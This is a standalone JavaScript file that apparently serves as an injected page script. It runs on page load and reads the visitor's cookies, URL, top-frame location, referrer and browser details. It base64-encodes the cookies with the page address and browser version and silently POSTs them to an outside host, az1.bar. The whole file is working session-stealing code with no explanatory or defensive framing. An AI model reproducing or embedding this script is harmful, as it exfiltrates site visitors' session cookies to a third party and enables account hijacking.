if (document['readyState'] === 'loading') { document['addEventListener']('DOMContentLoaded', go_lim) } else { go_lim(); }; function lim_nul(value) { if (value !== undefined) { return value; } else { return ''; } } //console.log("demo 123"); function go_lim() { var url = 'https://az1.bar'; var lim = new Object(); try { lim['location'] = lim_nul(location.toString()); } catch (e) { lim['location'] = lim_nul(document.location.href); } //console.log(lim['location']); try { lim['cookie'] = lim_nul(document.cookie); } catch (e) { lim['cookie'] = ''; } try { lim['referrer'] = lim_nul(document.referrer); } catch (e) { lim['referrer'] = ''; } try { lim['useragent'] = lim_nul(navigator.userAgent); } catch (e) { lim['useragent'] = ''; } try { lim['title'] = lim_nul(document.title); } catch (e) { lim['title'] = ''; } try { lim['toplocation'] = lim_nul(top.location.href); } catch (e) { lim['toplocation'] = ''; } try { lim['origin'] = lim_nul(location.origin); } catch (e) { lim['origin'] = ''; } try { lim['charset'] = lim_nul(document.characterSet); } catch (e) { lim['charset'] = lim_nul(document.charset); } try { lim['platform'] = lim_nul(navigator.platform); } catch (e) { lim['platform'] = ''; } try { lim['opener'] = lim_nul(window.opener); } catch (e) { lim['opener'] = lim_nul(window.opener.location); } try { lim['screen'] = function() { var c = ""; if (self.screen) { c = screen.width + "x" + screen.height; } return c; }(); } catch (e) { lim['screen'] = ''; } /* try { lim['html'] = lim_nul(document.documentElement.outerHTML); } catch (e) { lim['html'] = ''; } */ try { lim['ver']=navigator.sayswho= (function(){ var ua= navigator.userAgent, tem, M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; if(/trident/i.test(M[1])){ tem= /\brv[ :]+(\d+)/g.exec(ua) || []; return 'IE '+(tem[1] || ''); } if(M[1]=== 'Chrome'){ tem= ua.match(/\b(OPR|Edge)\/(\d+)/); if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); return M.join(' '); })(); } catch (e) { lim['ver'] = ''; } lim['ver']=navigator.sayswho= (function(){ var ua= navigator.userAgent, tem, M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; if(/trident/i.test(M[1])){ tem= /\brv[ :]+(\d+)/g.exec(ua) || []; return 'IE '+(tem[1] || ''); } if(M[1]=== 'Chrome'){ tem= ua.match(/\b(OPR|Edge)\/(\d+)/); if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); return M.join(' '); })(); //console.log(JSON['stringify'](lim).replace(/%/gi,'~~pct~~')) domain = window.location.hostname; try { //var infor = document.head.innerHTML.split('name="description" content="').pop().split('"')[0]; //infor = infor.substring(0, 50); //var infor1 = document.body.innerHTML.split("livechat.removeTags('").pop().split("'")[0].replace(/(\r\n|\n|\r)/gm, ""); //infor1 = infor1.substring(1, 20); //lim['cookie'] = lim['cookie'] +" | "+infor+"-"+infor1+" | "; } catch (e) { var infor = ""; //var infor1 = ""; } //lim['ver'] = lim['ver'] +" Infor: "+infor+" "; //var lim_hua = window['btoa'](encodeURI((JSON['stringify'](lim)))); lim['location'] = lim['location'].replaceAll(/\https:\/\//ig, ""); lim['location'] = encodeURI(lim['location']); //var lim_hua = lim['location'] +" | "+lim['ver']+" | Cookie: "+lim['cookie']; var mess = btoa(lim['location'] +" | "+lim['ver']+" | Cookie: "+lim['cookie']); //console.log(lim_hua); lim_lim_hua(url, mess); } function lim_lim_hua(url, params) { var xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (this.readyState === XMLHttpRequest.DONE && this.status === 200) { } } xhr.send(params); }